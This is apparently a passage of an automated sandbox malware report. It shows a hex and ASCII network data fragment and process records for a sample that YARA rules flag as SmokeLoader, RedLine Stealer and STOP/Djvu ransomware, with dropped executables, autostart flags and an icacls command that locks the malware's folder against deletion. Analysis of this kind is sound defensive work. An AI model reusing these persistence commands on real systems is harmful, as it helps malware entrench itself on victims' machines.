                                                                                                                                                                                                                                                              2024-02-08 19:20:24 UTC1369INData Raw: 01 d1 31 cf 21 c7 8d 9c 2b ed 14 5a 45 31 d7 8b 6e 34 01 fb 89 cf c1 c3 14 01 cb 31 df 21 d7 8d 84 28 05 e9 e3 a9 31 cf 8b 6e 08 01 f8 89 df c1 c0 05 01 d8 31 c7 21 cf 8d 94 2a f8 a3 ef fc 31 df 8b 6e 1c 01 fa 89 c7 c1 c2 09 01 c2 31 d7 21 df 8d 8c 29 d9 02 6f 67 31 c7 8b 6e 30 01 f9 89 d7 c1 c1 0e 01 d1 31 cf 21 c7 8d 9c 2b 8a 4c 2a 8d 31 d7 8b 6e 14 01 fb 89 cf c1 c3 14 01 cb 31 d7 31 df 8d 84 28 42 39 fa ff 01 f8 8b 6e 20 c1 c0 04 89 df 01 d8 31 cf 8d 94 2a 81 f6 71 87 31 c7 8b 6e 2c 01 fa 89 c7 c1 c2 0b 01 c2 31 df 31 d7 8d 8c 29 22 61 9d 6d 01 f9 8b 6e 38 c1 c1 10 89 d7 01 d1 31 c7 8d 9c 2b 0c 38 e5 fd 31 cf 8b 6e 04 01 fb 89 cf c1 c3 17 01 cb 31 d7 31 df 8d 84 28 44 ea be a4 01 f8 8b 6e 10 c1 c0 04 89 df 01 d8 31 cf 8d 94 2a a9 cf de 4b 31 c7 8b 6e
                                                                                                                                                                                                                                                              Data Ascii: 1!+ZE1n41!(1n1!*1n1!)og1n01!+L*1n11(B9n 1*q1n,11)"amn81+81n11(Dn1*K1n


                                                                                                                                                                                                                                                              Statistics

                                                                                                                                                                                                                                                              CPU Usage

                                                                                                                                                                                                                                                              Click to jump to process

                                                                                                                                                                                                                                                              Memory Usage

                                                                                                                                                                                                                                                              Click to jump to process

                                                                                                                                                                                                                                                              High Level Behavior Distribution

                                                                                                                                                                                                                                                              Click to dive into process behavior distribution

                                                                                                                                                                                                                                                              Behavior

                                                                                                                                                                                                                                                              Click to jump to process

                                                                                                                                                                                                                                                              System Behavior

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:0
                                                                                                                                                                                                                                                              Start time:20:16:49
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\Desktop\KMPrEVaSfH.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:C:\Users\user\Desktop\KMPrEVaSfH.exe
                                                                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                                                                              File size:174'592 bytes
                                                                                                                                                                                                                                                              MD5 hash:69D761D941E1A7A4721E267E91167B3A
                                                                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.2042490053.0000000004841000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.2042490053.0000000004841000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.2042176202.0000000002E30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.2042176202.0000000002E30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2042036290.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2042386552.0000000002E7A000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:2
                                                                                                                                                                                                                                                              Start time:20:16:54
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                                                                                                              Commandline:C:\Windows\Explorer.EXE
                                                                                                                                                                                                                                                              Imagebase:0x7ff674740000
                                                                                                                                                                                                                                                              File size:5'141'208 bytes
                                                                                                                                                                                                                                                              MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Reputation:high
                                                                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:4
                                                                                                                                                                                                                                                              Start time:20:17:14
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Roaming\ubrawdb
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:C:\Users\user\AppData\Roaming\ubrawdb
                                                                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                                                                              File size:174'592 bytes
                                                                                                                                                                                                                                                              MD5 hash:69D761D941E1A7A4721E267E91167B3A
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000004.00000002.2273933251.0000000004700000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.2274024832.0000000004731000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.2274024832.0000000004731000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.2273984194.0000000004710000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.2273984194.0000000004710000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000004.00000002.2273859448.0000000002E79000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              Antivirus matches:
                                                                                                                                                                                                                                                              • Detection: 29%, ReversingLabs
                                                                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:5
                                                                                                                                                                                                                                                              Start time:20:17:18
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\BDBB.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:C:\Users\user\AppData\Local\Temp\BDBB.exe
                                                                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                                                                              File size:174'592 bytes
                                                                                                                                                                                                                                                              MD5 hash:69D761D941E1A7A4721E267E91167B3A
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000005.00000002.2445621765.0000000002E60000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.2445721326.0000000002F29000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              Antivirus matches:
                                                                                                                                                                                                                                                              • Detection: 29%, ReversingLabs
                                                                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:6
                                                                                                                                                                                                                                                              Start time:20:17:19
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                                                                                                              Commandline:C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                                                                                                                                                              Imagebase:0x7ff7e52b0000
                                                                                                                                                                                                                                                              File size:55'320 bytes
                                                                                                                                                                                                                                                              MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Reputation:high
                                                                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:7
                                                                                                                                                                                                                                                              Start time:20:17:19
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4204 -ip 4204
                                                                                                                                                                                                                                                              Imagebase:0x8e0000
                                                                                                                                                                                                                                                              File size:483'680 bytes
                                                                                                                                                                                                                                                              MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Reputation:high
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:8
                                                                                                                                                                                                                                                              Start time:20:17:20
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 360
                                                                                                                                                                                                                                                              Imagebase:0x8e0000
                                                                                                                                                                                                                                                              File size:483'680 bytes
                                                                                                                                                                                                                                                              MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Reputation:high
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:9
                                                                                                                                                                                                                                                              Start time:20:17:23
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                                                                                                              Commandline:C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                                                                                                                                              Imagebase:0x7ff7e52b0000
                                                                                                                                                                                                                                                              File size:55'320 bytes
                                                                                                                                                                                                                                                              MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Reputation:high
                                                                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:10
                                                                                                                                                                                                                                                              Start time:20:17:31
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                                                                              File size:715'776 bytes
                                                                                                                                                                                                                                                              MD5 hash:A2B38EDE1742205C46B74CE044287FB9
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000A.00000002.2397649802.0000000002F47000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:11
                                                                                                                                                                                                                                                              Start time:20:17:31
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                                                                              File size:715'776 bytes
                                                                                                                                                                                                                                                              MD5 hash:A2B38EDE1742205C46B74CE044287FB9
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:12
                                                                                                                                                                                                                                                              Start time:20:17:33
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:icacls "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                                                                                                                                                                                              Imagebase:0x510000
                                                                                                                                                                                                                                                              File size:29'696 bytes
                                                                                                                                                                                                                                                              MD5 hash:2E49585E4E08565F52090B144062F97E
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Reputation:moderate
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:14
                                                                                                                                                                                                                                                              Start time:20:17:34
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                                                                                                              Commandline:C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                                                                                                                                                                              Imagebase:0x7ff7e52b0000
                                                                                                                                                                                                                                                              File size:55'320 bytes
                                                                                                                                                                                                                                                              MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Reputation:high
                                                                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:15
                                                                                                                                                                                                                                                              Start time:20:17:34
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe --Task
                                                                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                                                                              File size:715'776 bytes
                                                                                                                                                                                                                                                              MD5 hash:A2B38EDE1742205C46B74CE044287FB9
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000F.00000002.2431912071.00000000048A9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              Antivirus matches:
                                                                                                                                                                                                                                                              • Detection: 100%, Avira
                                                                                                                                                                                                                                                              • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:16
                                                                                                                                                                                                                                                              Start time:20:17:34
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:"C:\Users\user\AppData\Local\Temp\EE23.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                                                                              File size:715'776 bytes
                                                                                                                                                                                                                                                              MD5 hash:A2B38EDE1742205C46B74CE044287FB9
                                                                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000010.00000002.2429114734.000000000492D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000010.00000002.2429235251.00000000049C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000010.00000002.2429235251.00000000049C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:17
                                                                                                                                                                                                                                                              Start time:20:17:34
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe --Task
                                                                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                                                                              File size:715'776 bytes
                                                                                                                                                                                                                                                              MD5 hash:A2B38EDE1742205C46B74CE044287FB9
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000011.00000002.4433775392.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000011.00000002.4433775392.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000011.00000002.4433775392.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:18
                                                                                                                                                                                                                                                              Start time:20:17:35
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:"C:\Users\user\AppData\Local\Temp\EE23.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                                                                              File size:715'776 bytes
                                                                                                                                                                                                                                                              MD5 hash:A2B38EDE1742205C46B74CE044287FB9
                                                                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000012.00000002.4433963494.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000012.00000002.4433963494.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000012.00000002.4433963494.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:20
                                                                                                                                                                                                                                                              Start time:20:17:41
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:"C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe"
                                                                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                                                                              File size:340'480 bytes
                                                                                                                                                                                                                                                              MD5 hash:A0CC1241AA4803DC23FF778AF73E3768
                                                                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000014.00000002.2502823909.000000000051E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              Antivirus matches:
                                                                                                                                                                                                                                                              • Detection: 73%, ReversingLabs
                                                                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:21
                                                                                                                                                                                                                                                              Start time:20:17:42
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:"C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe"
                                                                                                                                                                                                                                                              Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                              File size:340'480 bytes
                                                                                                                                                                                                                                                              MD5 hash:A0CC1241AA4803DC23FF778AF73E3768
                                                                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:22
                                                                                                                                                                                                                                                              Start time:20:17:45
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:"C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart
                                                                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                                                                              File size:715'776 bytes
                                                                                                                                                                                                                                                              MD5 hash:A2B38EDE1742205C46B74CE044287FB9
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000016.00000002.2534124903.000000000488E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000016.00000002.2534321369.0000000004970000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000016.00000002.2534321369.0000000004970000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:23
                                                                                                                                                                                                                                                              Start time:20:17:45
                                                                                                                                                                                                                                                              Start date:08/02/2024
                                                                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe
                                                                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                                                                              Commandline:"C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart
                                                                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                                                                              File size:715'776 bytes
                                                                                                                                                                                                                                                              MD5 hash:A2B38EDE1742205C46B74CE044287FB9
                                                                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                              Yara matches:
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000017.00000002.2543816835.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                              • Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000017.00000002.2543816835.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                                              • Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000017.00000002.2543816835.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Target ID:24
